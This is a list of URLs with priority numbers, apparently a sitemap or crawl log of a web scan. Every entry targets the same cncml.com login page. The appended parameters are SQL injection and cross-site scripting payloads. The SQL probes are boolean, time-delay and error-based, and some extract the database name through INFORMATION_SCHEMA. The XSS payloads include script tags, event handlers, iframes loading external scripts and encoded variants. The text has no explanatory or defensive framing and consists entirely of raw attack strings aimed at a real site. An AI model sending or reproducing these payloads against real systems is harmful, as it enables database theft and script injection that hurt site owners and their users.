http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=91)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%22%20AND%20%222z%22=%22iM 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%22)%20AND%2045=11%20AND%20(%22B2%22=%22B2 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25%22%29%20AND%2096%3D27%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25%27%29%20AND%2029%3D29%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25%27%29%20AND%2034%3D77%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25%27%29%20AND%2071%3D71%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25%27%29%20AND%2084%3D26%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%2014=14%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%2031=31%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%2039=92%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%2081=78%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=93)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(46=17)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%2527%20AND%2086=47%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%2527%20AND%2096=96%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1&username=360webscan&password=ooxx&quickforward=yes&handlekey=webscan360 0.0005 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1&username=webscan&password=ooxx&quickforward=yes&handlekey=webscan360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20'9n'='9n 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20'Am'%20LIKE%20'Am 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20'QN'='QN 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20'UH'='jc 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20'hF'='27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20'pJ'%20LIKE%20'jU 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20OR%20'wy'='wy'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'yP'='yP 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=21)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'0E'='0E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=98)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'Yl'='Yl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'aL'='aL 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%22 0.0003 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%20('Ng'%20LIKE%20'gK 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%20('b9'%20LIKE%20'b9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%2025=84%20AND%20('kx'='kx 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%2026=89%20AND%20('O0'='O0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%2038=38%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%2069=69%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 